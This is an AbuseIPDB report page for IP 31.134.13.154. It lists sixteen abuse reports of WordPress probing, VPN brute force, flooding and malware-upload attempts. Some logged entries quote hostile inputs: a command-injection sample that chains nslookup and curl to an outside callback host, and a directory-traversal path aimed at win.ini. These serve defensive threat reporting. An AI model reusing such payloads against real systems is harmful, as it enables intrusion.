JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 31.134.13.154

31.134.13.154 was found in our database!

This IP was reported 16 times. Confidence of Abuse is 0%: ?

ISP	Trade Commodity Firm Ltd
Usage Type	Data Center/Web Hosting/Transit
ASN	AS43444
Domain Name	traffictransitsolution.us
Country	🇸🇪 Sweden
City	Stockholm, Stockholm

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 31.134.13.154

Whois 31.134.13.154

IP Abuse Reports for 31.134.13.154:

This IP address has been reported a total of 16 times from 10 distinct sources. 31.134.13.154 was first reported on November 16th 2025, and the most recent report was 3 months ago.

Old Reports: The most recent abuse report for this IP address is from 3 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇩 BPS-StatisticsIndonesia	2026-03-19 12:59:34 (3 months ago)	XML RPC Scan Activities: "2026-03-19T19:59:34.234+07:00" "/xmlrpc.php" "31.134.13.154" "Mozilla/5.0 ... show more XML RPC Scan Activities: "2026-03-19T19:59:34.234+07:00" "/xmlrpc.php" "31.134.13.154" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:143.0) Gecko/20100101 Firefox/143.0" show less	Web App Attack Brute-Force
🇮🇩 BPS-StatisticsIndonesia	2026-03-14 10:15:37 (3 months ago)	XML RPC Scan Activities: "2026-03-14T17:15:37.773+07:00" "/xmlrpc.php" "31.134.13.154" "AppleWebKit/ ... show more XML RPC Scan Activities: "2026-03-14T17:15:37.773+07:00" "/xmlrpc.php" "31.134.13.154" "AppleWebKit/537.37 (KHTML, like Gecko111)" show less	Web App Attack Brute-Force
🇩🇪 MusicLibrary	2026-03-14 02:34:33 (3 months ago)	Attempted access to non existent wordpress urls	Bad Web Bot
🇩🇪 MusicLibrary	2026-03-09 05:24:18 (3 months ago)	Attempted access to non existent wordpress urls	Bad Web Bot
🇺🇸 TPI-Abuse	2026-02-26 05:45:09 (3 months ago)	(mod_security) mod_security (id:225170) triggered by 31.134.13.154 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 31.134.13.154 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Feb 26 00:45:05.009004 2026] [security2:error] [pid 15109:tid 15109] [client 31.134.13.154:23109] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|belgiophar.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "belgiophar.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZ_d4aCwadkWiRoMMpfs2wAAAAc"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-02-21 06:55:06 (3 months ago)	(mod_security) mod_security (id:225170) triggered by 31.134.13.154 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:225170) triggered by 31.134.13.154 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Feb 21 01:54:59.823620 2026] [security2:error] [pid 2041:tid 2041] [client 31.134.13.154:54651] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|biomechanicalwars.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "biomechanicalwars.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aZlWwx8597WXlUHVP2tv0wAAAAk"] show less	Brute-Force Bad Web Bot Web App Attack
🇪🇸 Mugen	2026-02-17 19:18:44 (4 months ago)	Unauthorized VPN login attempts	Brute-Force
Anonymous	2026-01-28 05:03:24 (4 months ago)	Attempted brute force login to web vpn 2 time(s); last attempt for 2026.01.28 is noted in report tim ... show more Attempted brute force login to web vpn 2 time(s); last attempt for 2026.01.28 is noted in report timestamp show less	Hacking Brute-Force
Anonymous	2026-01-13 12:28:00 (5 months ago)	Malicious scan detected (score: 4 >= 4): Directory Traversal (Path) on path: /de/demo/demo/demo/GHH% ... show more Malicious scan detected (score: 4 >= 4): Directory Traversal (Path) on path: /de/demo/demo/demo/GHH%20-%20PHPBB%20Install/phpBB2/install/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-01-12 21:15:00 (5 months ago)	CMDI Score: 3 \| Issues: [{"source":"GET","key":"option","type":"cmdi","pattern":"operator-with-comma ... show more CMDI Score: 3 \| Issues: [{"source":"GET","key":"option","type":"cmdi","pattern":"operator-with-command","sample":"(nslookup -q=cname hitygymkstzry77bb4.bxss.me\|\|curl hitygymkstzry77bb4.bxss.me))"}] / PHP file in forbidden directory: /themes/warehouse/demo/ghh - squirrelmail/src/demo/index.php on path: /themes/warehouse/demo/GHH%20-%20SquirrelMail/src/demo/index.php?option=(nslookup%20-q=cname%20hitygymkstzry77bb4.bxss.me%7C%7Ccurl%20hitygymkstzry77bb4.bxss.me)) show less	Hacking Bad Web Bot Web App Attack
🇩🇪 Packets-Decreaser.NET	2025-12-29 14:01:18 (5 months ago)	Incoming Layer 7 Flood Detected	DDoS Attack Web Spam
Anonymous	2025-12-12 05:46:00 (6 months ago)	Attempted brute force login to web vpn 2 time(s); last attempt for 2025.12.12 is noted in report tim ... show more Attempted brute force login to web vpn 2 time(s); last attempt for 2025.12.12 is noted in report timestamp show less	Hacking Brute-Force
🇱🇻 garmtech.com	2025-12-06 06:03:51 (6 months ago)	IM360 WAF: Attempt to upload malware	Hacking
🇱🇻 garmtech.com	2025-11-25 08:20:31 (6 months ago)	IM360 WAF: Attempt to upload malware	Hacking
🇨🇭 backslash	2025-11-23 06:52:34 (6 months ago)		Bad Web Bot

Showing 1 to 15 of 16 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇳🇱 176.65.148.84

🇺🇸 152.32.150.26

🇰🇷 112.216.129.27

🇦🇺 89.41.62.174

🇭🇰 47.238.188.245

🇧🇪 34.34.176.194

🇺🇸 20.169.106.171

🇨🇳 218.205.95.162

🇺🇸 216.180.246.121

🇬🇧 188.240.59.41

🇬🇧 185.216.145.186

🇳🇱 176.65.148.4

🇫🇷 173.212.225.27

🇺🇸 162.216.149.125

🇮🇩 110.239.95.16

🇬🇧 89.37.172.149

🇬🇧 81.19.219.231

🇺🇸 69.164.217.245

🇬🇧 35.203.211.253

🇰🇪 197.254.56.50